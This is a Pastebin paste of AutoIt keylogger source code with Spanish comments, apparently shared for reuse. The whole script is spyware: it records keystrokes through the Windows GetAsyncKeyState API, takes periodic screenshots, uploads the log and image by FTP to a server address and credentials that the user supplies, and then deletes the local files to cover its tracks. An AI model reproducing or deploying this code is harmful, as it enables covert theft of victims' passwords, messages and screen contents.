Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #cs ----------------------------------------------------------------------------
- AutoIt Version: 3.3.8.1
- Author: Naker90
- Script Function:
- Captura de pulsaciones de teclado por la API GetAsyncKeyState (Mayusculas, minusculas y numeros),
- captura de pantalla y envio del Log a travez de FTP (File Transfer Protocol)
- Parametros:
- $sMinute_Delay => Tiempo de espera entre envio de Logs
- $sServerIP => IP del servidor FTP
- $sPort => Puerto del Servidor FTP
- $sUsername => Nombre de usuario del servidor FTP
- $sPassword => Contraseña del usuario del servidor FTP
- Ejemplo de uso:
- Keylogger_Function(10,'XXX.XXX.XXX.XXX', 21, 'Naker90', '123')
- #ce ----------------------------------------------------------------------------
- #include <FTPEx.au3>
- #include <ScreenCapture.au3>
- Func Keylogger_Function($sMinute_Delay, $sServerIP, $sPort, $sUsername, $sPassword)
- Local $sTimeInit = TimerInit()
- Local $sDelay = $sMinute_Delay * 60000
- Local $sAlphabet[48] = ['0x30', '0x31', '0x32', '0x33', '0x34', '0x35', '0x36', '0x37', '0x38', '0x39', '0x41', '0x42', '0x43', '0x44', '0x45', '0x46', '0x47', '0x48', _
- '0x49', '0x4A', '0x4B', '0x4C', '0x4D', '0x4E', '0x4F', '0x50', '0x51', '0x52', '0x53', '0x54', '0x55', '0x56', '0x57', '0x58', '0x59', '0x60', '0x20', '0x2E']
- While 1
- Local $sInput
- For $si = 0 To 47
- Local $sShift = DllCall('User32.dll', 'int', 'GetKeyState', 'long', 0x10)
- Local $sBlockMayus = DllCall('User32.dll', 'int', 'GetKeyState', 'long', 0x14)
- Local $sGetAsyncKeyState = DllCall('User32.dll', 'int', 'GetAsyncKeyState', 'int', $sAlphabet[$si])
- If $sGetAsyncKeyState[0] = -32767 Then
- If $sShift[0] <> 0 And 1 Or $sBlockMayus[0] <> 0 And 1 Then
- $sInput = $sInput & ChrW($sAlphabet[$si])
- Else
- $sInput = $sInput & StringLower(ChrW($sAlphabet[$si]))
- EndIf
- EndIf
- Next
- If TimerDiff($sTimeInit) >= $sDelay Then
- Local $sLog = FileOpen(@TempDir & '\Log.txt', 1)
- FileWrite($sLog, $sInput)
- FileClose($sLog)
- Local $sScreenShot = _ScreenCapture_Capture(@TempDir & '\Image.jpg')
- File_Transfer_Protocol($sServerIP, $sPort, $sUsername, $sPassword)
- FileDelete(@TempDir & '\Log.txt')
- FileDelete(@TempDir & '\Image.jpg')
- $sInput = ''
- $sTimeInit = TimerInit()
- EndIf
- WEnd
- EndFunc
- Func File_Transfer_Protocol($ServerIP, $Port, $Username, $Password)
- Local $Directory = '\' & @MDAY & '-' & @MON & '-' & @YEAR & '_' & @HOUR & '-' & @MIN
- Local $Open = _FTP_Open('MyFTP Control')
- Local $Connect = _FTP_Connect($Open, $ServerIP, $Username, $Password, 0, $Port)
- _FTP_DirCreate($Connect, $Directory)
- _FTP_FilePut($Connect, @TempDir & '\Log.txt', $Directory & '\Log.txt')
- _FTP_FilePut($Connect, @TempDir & '\Image.jpg', $Directory & '\Image.jpg')
- _FTP_Close($Connect)
- EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement